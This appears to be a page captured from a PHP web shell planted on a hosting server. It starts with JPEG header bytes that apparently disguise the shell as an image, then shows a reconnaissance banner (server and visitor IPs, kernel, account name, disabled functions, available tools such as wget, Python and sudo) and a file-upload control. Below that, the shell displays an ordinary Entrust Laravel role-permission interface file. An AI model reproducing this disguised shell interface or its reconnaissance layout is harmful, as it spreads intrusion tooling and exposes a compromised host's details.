ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.119.192.228 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/zizaco/entrust/src/Entrust/Contracts/ |
Upload File : |
<?php namespace Zizaco\Entrust\Contracts; /** * This file is part of Entrust, * a role & permission management solution for Laravel. * * @license MIT * @package Zizaco\Entrust */ interface EntrustUserInterface { /** * Many-to-Many relations with Role. * * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany */ public function roles(); /** * Checks if the user has a role by its name. * * @param string|array $name Role name or array of role names. * @param bool $requireAll All roles in the array are required. * * @return bool */ public function hasRole($name, $requireAll = false); /** * Check if user has a permission by its name. * * @param string|array $permission Permission string or array of permissions. * @param bool $requireAll All permissions in the array are required. * * @return bool */ public function can($permission, $requireAll = false); /** * Checks role(s) and permission(s). * * @param string|array $roles Array of roles or comma separated string * @param string|array $permissions Array of permissions or comma separated string. * @param array $options validate_all (true|false) or return_type (boolean|array|both) * * @throws \InvalidArgumentException * * @return array|bool */ public function ability($roles, $permissions, $options = []); /** * Alias to eloquent many-to-many relation's attach() method. * * @param mixed $role */ public function attachRole($role); /** * Alias to eloquent many-to-many relation's detach() method. * * @param mixed $role */ public function detachRole($role); /** * Attach multiple roles to a user * * @param mixed $roles */ public function attachRoles($roles); /** * Detach multiple roles from a user * * @param mixed $roles */ public function detachRoles($roles); }